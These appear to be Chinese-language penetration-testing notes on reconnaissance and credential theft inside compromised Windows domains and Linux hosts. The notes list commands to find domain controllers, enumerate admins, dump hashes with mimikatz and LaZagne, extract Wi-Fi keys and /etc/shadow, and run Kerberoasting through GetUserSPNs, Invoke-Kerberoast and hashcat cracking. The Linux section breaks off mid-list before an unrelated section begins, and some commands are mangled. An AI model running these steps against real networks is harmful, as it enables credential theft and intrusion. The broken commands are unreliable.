信息收集

当系统为win10或2012以上时,默认在Wdigest内存中禁止保存明文密码(hash可以抓到)

qIaLSe.png

域环境判断和域控定位
#    是否存在域:
1    ipconfig /all
2    net view /domain    #    如果加载出来了那么说明有域环境
3    net config workstation    #    登录信息,会显示是工作组还是域环境

qI0uzF.png

qI0NRO.png

qI07F0.png

qI0gW8.jpg

qIBST1.png

#    域控定位:
net time /domain        #    这是因为域环境内的时间统一是根据域控的时间为准
nslookup             #    追踪地址,找到域控的IP地址

dns服务器开放53端口,而dns服务器通常都在域控上,所以我们扫存活主机,再扫端口,找到开放53端口的主机IP地址
域控的名字通常是DC,DC-control,者是域名子域名类型(比如是baidu.com),其他的是fanyi.baidu.com
域控有Kerberos协议开放88端口

qIBklD.png

qIBFSO.jpg

#    相关用户收集操作命令
收集这些是为了后期密码攻击
whoami /all #    查看当前用户权限
net user     #    查看本地用户
net user /domain #    查看域用户信息
net group /domain #    获取域用户组信息
wmic useraccount get /all                 #    涉及域用户详细信息
net group "Domain Admins" /domain         #    查询域管理员账户
net group "Enterprise Admins" /domain     #    查询管理员用户组
net group "Domain Controllers" /domain     #    查询域控制器
凭据收集C:\Users\batma\AppData\Roaming
收集各种密文,明文,口令等,为后续横向渗透做好测试准备
计算机用户 HASH,明文获取-mimikatz(win),mimipenguin(linux)
计算机各种协议服务口令获取-LaZagne(all)
Netsh WLAN show profiles
Netsh WLAN show profile name="无线名称" key=clear
1.站点源码备份文件、数据库备份文件等
2.各类数据库 Web 管理入口,如 PHPMyAdmin
3.浏览器保存密码、浏览器 Cookies
4.其他用户会话、3389 和 ipc$连接记录、回收站内容
5.Windows 保存的 WIFI 密码
6.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA 等

windows信息收集

基本命令

  • 主机名 hostname
  • 查看配置及补丁信息systeminfo
  • 查看版本 ver
  • 查看杀软WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

域信息

  • 获取当前组的计算机名 net view,网络发现 net view /all ,查看所有域 net view /domain
  • 判断域控是否存在
ipconfig /all
systeminfo
net config workstation
  • 定位域控 net time /domain
nslookup test.com        //这里test.com是域控域名,通过ipconfig /all得到
nslookup -type=SRV _ldap._tcp    //这里nslookup是解析地址,因为内网中dns服务器就在域控上
net time /domain    //这里因为时间是和域控时间同步
此外作为域控,他的域名可能是DC,DC-control,父域名等,因为是dns服务器所以开放53端口,且kerberos协议开放88端口

用户信息

  • 查看用户whoami /priv / whoami /user

  • 用户特权信息 whoami /priv

  • 查看当前权限 net localgroup administrators

  • 查看在线用户 quser / qwinsta / query user

  • 查看当前计算机名,全名,用户名,系统版本,工作 站域,登陆域 net config Workstation

  • ACL 信息 get-acl

网络信息
  • 内网网段信息

  • 网卡信息 ipconfig

  • 外网出口

  • ARP表 arp -a

  • 路由表 route print

  • 监听的端口 netstat -ano

  • 连接的端口

    • 端口信息

      Get-NetTCPConnection

  • hosts文件

  • 主备 DNS

    • DNS缓存

      ipconfig /displaydns``Get-CimInstance -Namespace root/StandardCimv2 -ClassName MSFT_DNSClientCache

    • 探测出网情况

      powershell -c "1..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect('allports.exposed',$)) $ } 2>$null"

防火墙

  • 查看防火墙状态 netsh advfirewall show allprofiles
  • 防火墙日志目录 netsh firewall show logging
  • 防火墙规则 netsh advfirewall firewall show rule name=all
  • netsh firewall show config
  • netsh firewall show state

密码信息

  • Windows RDP连接记录

  • 浏览器中保存的账号密码

  • 系统密码管理器中的各种密码

    • 无人值守安装文件中的密码信息

      C:\sysprep.inf``C:\sysprep\sysprep.xml``C:\Windows\Panther\Unattend\Unattended.xml``C:\Windows\Panther\Unattended.xml

票据信息

  • cmdkey /l
  • klist
  • msf meterpreter

特殊文件

    • 文档

      xlsx / xlsdocx / docpptx / pptvsdx / vsdmd / txt

    • 压缩文件

      zip / rar / 7z

    • VPN配置

      ovpn

    • 代码

      py / php / jsp / aspx / asp / sql

    • 配置文件

      conf / ini / xml

    • 特定关键字

      账号 / 账户 / 登录 / login / user密码 / pass代码 / 文档 / 交接 / 备份 / git / svn邮箱 / 通讯录 / 集群 / 办公代理 / 内网 / VPN设备 / 资产系统 / 运维 / 拓扑 / 网络 / IT后台 / 管理员 / 数据库监控 / 隔离 / 防火墙 / 网闸 / 巡检

局域网存活主机

  • NetBIOS扫描
  • OXID扫描

其他

  • 启用的共享文件夹

  • 回收站

  • 最近运行的命令

  • 访问文件历史记录

    • 查看补丁安装情况

      wmic qfe get Caption,Description,HotFixID,InstalledOn

    • 日志与事件信息

      wevtutil``eventvwr

    • 注册表信息

      reg

  • 安装的各类 agent 监控软件

  • 安装的杀毒软件

    • 查看/设置后缀关联

      assoc``assoc .ext=example

  • PowerShell 版本

  • .Net 版本

  • Wi-Fi 密码

linux信息收集

获取内核,操作系统和设备信息

    • 版本信息

      uname -a 所有版本uname -r 内核版本信息uname -n 系统主机名字uname -m Linux内核架构

  • 内核信息 cat /proc/version

  • CPU信息 cat /proc/cpuinfo

    • 发布信息

      cat /etc/*-release``cat /etc/issue

  • 主机名 hostname

  • 文件系统 df -a

  • 内核日志 dmesg / /var/log/dmesg

用户和组

  • 列出系统所有用户 cat /etc/passwd

  • 列出系统所有组 cat /etc/group

  • 列出所有用户hash(root)cat /etc/shadow

    • 用户

      查询用户的基本信息 finger当前登录的用户 users who -a /var/log/utmp查询无密码用户 grep 'x:0:' /etc/passwd

  • 目前登录的用户 w

  • 登入过的用户信息 last / /var/log/wtmp

  • 显示系统中所有用户最近一次登录信息 lastlog / /var/log/lastlog

  • 登录成功日志 /var/log/secure

  • 登录失败日志 /var/log/faillog

  • 查看特权用户 grep :0 /etc/passwd

  • 查看passwd最后修改时间 ls -l /etc/passwd

  • 查看是否存在空口令用户 awk -F: 'length($2)==0 {print $1}' /etc/shadow

  • 查看远程登录的账号 awk '/\$1|\$6/{print $1}' /etc/shadow

    • 查看具有sudo权限的用户

      cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

用户和权限信息

  • 当前用户 whoami
  • 当前用户信息 id
  • 可以使用sudo提升到root的用户(root) cat /etc/sudoers
  • 列出目前用户可执行与无法执行的指令 sudo -l

环境信息

  • 打印系统环境信息 env
  • 打印系统环境信息 set
  • 环境变量中的路径信息 echo $PATH
  • 打印历史命令 history / ~/.bash_history
  • 显示当前路径 pwd
  • 显示默认系统遍历 cat /etc/profile
  • 显示可用的shell cat /etc/shells

进程信息

  • 查看进程信息 ps aux
  • 资源占有情况 top -c
  • 查看进程关联文件 lsof -c $PID
  • 完整命令行信息 /proc/$PID/cmdline
  • 进程的命令名 /proc/$PID/comm
  • 进程当前工作目录的符号链接 /proc/$PID/cwd
  • 运行程序的符号链接 /proc/$PID/exe
  • 进程的环境变量 /proc/$PID/environ
  • 进程打开文件的情况 /proc/$PID/fd

服务信息

  • 由inetd管理的服务列表 cat /etc/inetd.conf
  • 由xinetd管理的服务列表 cat /etc/xinetd.conf
  • nfs服务器的配置 cat /etc/exports
  • 邮件信息 /var/log/mailog
  • ssh配置 sshd_config

计划任务

  • 显示

信息收集

SPN探针

SPN扫描不需要连接到域内网络上的每个IP即可检查服务端口。SPN扫描通过对域控制器的LDAP查询执行服务发现。由于SPN查询是正常Kerberos票证行为的一部分,因此即使是攻击者,检测也很难发现是善意还是恶意的查询,而network端口扫描非常明显。

SPN 格式与配置
<serviceclass>/<host>:<port>/<service name>

<service class>:标识服务类的字符串

<host>:服务所在主机名称

<port>:服务端口

<service name>:服务名称

例:

为 SQL Server 服务帐户注册SPN

手动注册:

setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 accountname

对应的命名实例:

setspn -A MSSQLSvc/myhost.redmond.microsoft.com/instancename accountname

如果我想把域中一台主机Srv-DB-0day中的 MSSQL 服务注册到 SPN 中则可以使用命令:

setspn -A MSSQLSvc/Srv-DB-0day.Oday.org:1433 sqladmin

可以通过下面两个命令来查看已经注册的 SPN。

setspn -q */* 
setspn -T 0day.org -q */*
SPN扫描
Discover-PSMSSQLServers:  是 Powershell-AD-Recon 工具集中的一个工具,用来查询已经注册了的 MSSQL 类型的 SPN。
GetUserSPNs.ps1:          是 Kerberoast 工具集中的一个 powershell 脚本,用来查询域内注册的 SPN
PowerView.ps1:            在 Powersploit 和 Empire 工具里都有集成,PowerView 相对于上面几种是根据不同用户的 objectsid 来返回,返回的信息更加详细。
LDAP

LDAP 协议全称是 LightweightDirectory Access Protocol,一般翻译成轻量目录访问协议。是一种用来查询与更新 Active Directory 的目录服务通信协议。AD 域服务利用 LDAP 命名路径(LDAP naming path)来表示对象在 AD 内的位置,以便用它来访问 AD 内的对象。

LDAP 数据的组织方式:

oaSpjI.png

更直观的说可以把 LDAP 协议理解为一个关系型数据库,其中存储了域内主机的各种配置信息。

在域控中默认安装了 ADSI 编辑器,全称 ActiveDirectory Service Interfaces Editor (ADSI Edit),是一种 LDAP 的编辑器,可以通过在域控中运行 adsiedit.msc 来打开(服务器上都有,但是只有域控中的有整个域内的配置信息)。

通过 adsiedit.msc 我们可以修改和编辑 LADP,在 SPN 查询时实际上就是查询 LADP 中存储的内容。

kerberoasting
攻击方式1

如果我们有了SPN的注册权限,我们就可以给指定的域用户注册一个SPN,然后获取到TGS,然后破解得到密码

在 TGS_REP 中,TGS 会返回给 Client 一张票据 ST,而 ST 是由 Client 请求的 Server 端密码进行加密的。当 Kerberos 协议设置票据为 RC4 方式加密时,我们就可以通过爆破在 Client 端获取的票据 ST,从而获得 Server 端的密码

  1. 首先用SPN扫描
  2. 根据扫描出的结果使用微软提供的类 Kerberos Requestor Security Token 发起 kerberos 请求,申请 ST 票据
PS C:\> Add-Type -AssemblyNameSystem.IdentityModel
PS C:\> New-ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList"MSSQLSvc/s2:1433"

可以看到这个过程通过AS-REQ、AS-REP、TGS-REQ、TGS-REP这四个认证流程,获取到 RC4 方式加密的票据

  1. Kerberos 协议中请求的票据会保存在内存中,可以通过 klist 命令查看当前会话存储的 kerberos 票据

这里可以借助 mimikatz 导出,使用 kerberoast 工具集中的 tgsrepcrack.py 工具进行离线爆破,成功得到 tsvc 账号的密码 admin1234!

攻击方式2

Kerberoasting攻击方式一中需要通过 mimikatz 从内存中导出票据,Invoke-Kerberoast 通过提取票据传输时的原始字节,转换成 John the Ripper 或者 HashCat 能够直接爆破的字符串。

使用 Invoke-Kerberoast 脚本 (这里使用的是 Empire 中的 Invoke-Kerberoast.ps1)

Import-module Invoke-Kerberoast.ps1
Invoke-kerberoast -outputformat hashcat |fl

使用 HASHCAT 工具进行破解

PSC:> hashcat64.exe –m 13100 test1.txt password.list --force
Impacket 进行Kerberoasting

这里要用到impacket工具包,该工具包用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问。这里我们使用的是GetUserSPNs工具,可使用该工具对目标主机进行SPN探测

https://github.com/SecureAuthCorp/impacket               官方仓库https://github.com/maaaaz/impacket-examples-windows      有人已将各个脚本打包成相应的exe,此处绝大部分也都将全部用这些exe单文件来进行操作

命令

python GetUserSPNs.py -request -dc-ip x.x.x.x 域名称/域用户
hashcat64.exe –m 13100 test1.txt password.list --force

results matching ""

    No results matching ""